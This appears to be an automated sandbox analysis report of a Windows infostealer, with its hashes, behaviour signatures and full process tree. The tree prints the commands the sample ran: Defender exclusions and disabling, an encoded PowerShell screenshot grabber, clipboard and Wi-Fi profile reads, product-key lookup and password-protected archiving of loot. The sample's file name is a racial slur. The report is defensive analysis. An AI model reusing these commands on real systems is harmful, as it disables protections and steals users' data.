Analysis

  • max time kernel
    93s
  • max time network
    142s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-12-2024 02:27

General

  • Target

    nigger.exe

  • Size

    6.8MB

  • MD5

    5fdcf4f18f5f60842beb0e6b6a7ca838

  • SHA1

    9aae3c14069e0136fe6793f83d471272c0cde0ad

  • SHA256

    ff7fafddc1870fbcee419e7d1992606cc8006677187125b6cc57c9dc01f02a69

  • SHA512

    24c7a836ede996a538d484864bb6f5046a0c57a4f6976be7e46efcf39fcdf19aea0ce6cc3f3631e6b05d0dbb1cc1b99908a567ee01a84d2dd4515c7dbacf2096

  • SSDEEP

    98304:cdFkwN+MdA5wqSnWiP8MMhJMjarJaon7JPzf+JiUCS3swhzqgez7DovaDJ1n6hB9:cXV1vmB6ylnlPzf+JiJCsmFMvln6hqgT

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates processes with tasklist 1 TTPs 4 IoCs
  • UPX packed file 57 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\nigger.exe
    "C:\Users\Admin\AppData\Local\Temp\nigger.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2468
    • C:\Users\Admin\AppData\Local\Temp\nigger.exe
      "C:\Users\Admin\AppData\Local\Temp\nigger.exe"
      2⤵
      • Drops file in Drivers directory
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2068
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\nigger.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2160
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\nigger.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2432
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:180
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2152
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('FailCode: 0x01847', 0, 'Kopx X Zxity', 32+16);close()""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4216
        • C:\Windows\system32\mshta.exe
          mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('FailCode: 0x01847', 0, 'Kopx X Zxity', 32+16);close()"
          4⤵
            PID:3636
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‍  .scr'"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3732
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‍  .scr'
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1316
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4616
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:416
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4480
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:2404
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:660
          • C:\Windows\System32\Wbem\WMIC.exe
            WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3912
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
          3⤵
          • Clipboard Data
          • Suspicious use of WriteProcessMemory
          PID:1044
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Get-Clipboard
            4⤵
            • Clipboard Data
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2740
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4476
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:4440
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tree /A /F"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4888
          • C:\Windows\system32\tree.com
            tree /A /F
            4⤵
              PID:2580
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
            3⤵
            • System Network Configuration Discovery: Wi-Fi Discovery
            • Suspicious use of WriteProcessMemory
            PID:4552
            • C:\Windows\system32\netsh.exe
              netsh wlan show profile
              4⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:1872
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "systeminfo"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2716
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              4⤵
              • Gathers system information
              PID:1968
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:456
            • C:\Windows\system32\reg.exe
              REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
              4⤵
                PID:4344
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4808
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3044
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mwecl3bs\mwecl3bs.cmdline"
                  5⤵
                    PID:4724
                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8788.tmp" "c:\Users\Admin\AppData\Local\Temp\mwecl3bs\CSC1586D60FB7AA471EBCA926775D7FD6C2.TMP"
                      6⤵
                        PID:4608
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2980
                  • C:\Windows\system32\tree.com
                    tree /A /F
                    4⤵
                      PID:2252
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    3⤵
                      PID:4656
                      • C:\Windows\system32\tree.com
                        tree /A /F
                        4⤵
                          PID:2764
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                        3⤵
                          PID:232
                          • C:\Windows\system32\attrib.exe
                            attrib -r C:\Windows\System32\drivers\etc\hosts
                            4⤵
                            • Drops file in Drivers directory
                            • Views/modifies file attributes
                            PID:2480
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                          3⤵
                            PID:3956
                            • C:\Windows\system32\attrib.exe
                              attrib +r C:\Windows\System32\drivers\etc\hosts
                              4⤵
                              • Drops file in Drivers directory
                              • Views/modifies file attributes
                              PID:4556
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "tree /A /F"
                            3⤵
                              PID:3628
                              • C:\Windows\system32\tree.com
                                tree /A /F
                                4⤵
                                  PID:3840
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                3⤵
                                  PID:408
                                  • C:\Windows\system32\tasklist.exe
                                    tasklist /FO LIST
                                    4⤵
                                    • Enumerates processes with tasklist
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:3584
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                                  3⤵
                                    PID:3456
                                    • C:\Windows\system32\tree.com
                                      tree /A /F
                                      4⤵
                                        PID:4344
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                      3⤵
                                        PID:2632
                                        • C:\Windows\system32\tree.com
                                          tree /A /F
                                          4⤵
                                            PID:3428
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "getmac"
                                          3⤵
                                            PID:4056
                                            • C:\Windows\system32\getmac.exe
                                              getmac
                                              4⤵
                                                PID:1712
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI24682\rar.exe a -r -hp"Zxity" "C:\Users\Admin\AppData\Local\Temp\rAZQH.zip" *"
                                              3⤵
                                                PID:1504
                                                • C:\Users\Admin\AppData\Local\Temp\_MEI24682\rar.exe
                                                  C:\Users\Admin\AppData\Local\Temp\_MEI24682\rar.exe a -r -hp"Zxity" "C:\Users\Admin\AppData\Local\Temp\rAZQH.zip" *
                                                  4⤵
                                                  • Executes dropped EXE
                                                  PID:3460
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                3⤵
                                                  PID:3856
                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                    wmic os get Caption
                                                    4⤵
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:4964
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                  3⤵
                                                    PID:644
                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                      wmic computersystem get totalphysicalmemory
                                                      4⤵
                                                        PID:4868
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                      3⤵
                                                        PID:1732
                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                          wmic csproduct get uuid
                                                          4⤵
                                                            PID:4500
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                          3⤵
                                                            PID:1924
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                              4⤵
                                                              • Command and Scripting Interpreter: PowerShell
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              PID:2984
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                            3⤵
                                                              PID:4880
                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                wmic path win32_VideoController get name
                                                                4⤵
                                                                • Detects videocard installed
                                                                PID:408
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                              3⤵
                                                                PID:1680
                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                  4⤵
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  PID:1876

                                                          Network

                                                          MITRE ATT&CK Enterprise v15

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                            Filesize

                                                            3KB

                                                            MD5

                                                            8740e7db6a0d290c198447b1f16d5281

                                                            SHA1

                                                            ab54460bb918f4af8a651317c8b53a8f6bfb70cd

                                                            SHA256

                                                            f45b0efc0833020dfeeaad0adc8ed10b0f85e0bc491baf9e1a4da089636bccf5

                                                            SHA512

                                                            d91fe9666c4923c8e90e5a785db96e5613b8cb3bf28983296a2f381ccdcd73d15254268548e156c8150a9a531712602313ba65f74cec5784341c8d66b088750b

                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                            Filesize

                                                            944B

                                                            MD5

                                                            cadef9abd087803c630df65264a6c81c

                                                            SHA1

                                                            babbf3636c347c8727c35f3eef2ee643dbcc4bd2

                                                            SHA256

